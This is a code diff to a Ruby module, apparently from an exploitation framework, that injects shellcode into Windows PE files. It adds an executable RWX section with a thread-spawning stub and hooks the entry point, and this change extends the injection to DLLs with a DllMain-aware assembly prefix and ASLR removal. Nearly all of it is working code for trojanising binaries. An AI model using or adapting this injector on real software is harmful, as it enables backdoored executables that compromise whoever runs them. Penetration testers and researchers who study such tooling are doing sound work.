@@ -31,14 +31,12 @@ def processor
31
31
32
32
def create_thread_stub
33
33
<<-EOS
34
- hook_entrypoint:
35
34
pushad
36
35
push hook_libname
37
36
call [iat_LoadLibraryA]
38
37
push hook_funcname
39
38
push eax
40
39
call [iat_GetProcAddress]
41
- mov eax, [iat_CreateThread]
42
40
lea edx, [thread_hook]
43
41
push 0
44
42
push 0
@@ -68,8 +66,9 @@ def payload_as_asm
68
66
return asm
69
67
end
70
68
71
- def payload_stub
72
- asm = create_thread_stub
69
+ def payload_stub ( prefix )
70
+ asm = "hook_entrypoint:\n #{ prefix } \n "
71
+ asm << create_thread_stub
73
72
asm << payload_as_asm
74
73
shellcode = Metasm ::Shellcode . assemble ( processor , asm )
75
74
shellcode . encoded
@@ -85,14 +84,37 @@ def generate_pe
85
84
pe . mz . encoded . export = pe_orig . encoded [ 0 , 512 ] . export . dup
86
85
pe . header . time = pe_orig . header . time
87
86
87
+ # Don't rebase if we can help it since Metasm doesn't do relocations well
88
+ pe . optheader . dll_characts . delete ( "DYNAMIC_BASE" )
89
+
90
+ prefix = ''
91
+ if pe . header . characteristics . include? "DLL"
92
+ # if there is no entry point, just return after we bail or spawn shellcode
93
+ if pe . optheader . entrypoint == 0
94
+ prefix = "cmp [esp + 8], 1
95
+ jz spawncode
96
+ entrypoint:
97
+ xor eax, eax
98
+ inc eax
99
+ ret 0x0c
100
+ spawncode:"
101
+ else
102
+ # there is an entry point, we'll need to go to it after we bail or spawn shellcode
103
+ # if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain
104
+ prefix = "cmp [esp + 8], 1
105
+ jnz entrypoint"
106
+ end
107
+ end
88
108
# Generate a new code section set to RWX with our payload in it
89
109
s = Metasm ::PE ::Section . new
90
110
s . name = '.text'
91
- s . encoded = payload_stub
111
+ s . encoded = payload_stub prefix
92
112
s . characteristics = %w[ MEM_READ MEM_WRITE MEM_EXECUTE ]
93
113
94
114
# Tell our section where the original entrypoint was
95
- s . encoded . fixup! ( 'entrypoint' => pe . optheader . image_base + pe . optheader . entrypoint )
115
+ if pe . optheader . entrypoint != 0
116
+ s . encoded . fixup! ( 'entrypoint' => pe . optheader . image_base + pe . optheader . entrypoint )
117
+ end
96
118
pe . sections << s
97
119
pe . invalidate_header
98
120
0 commit comments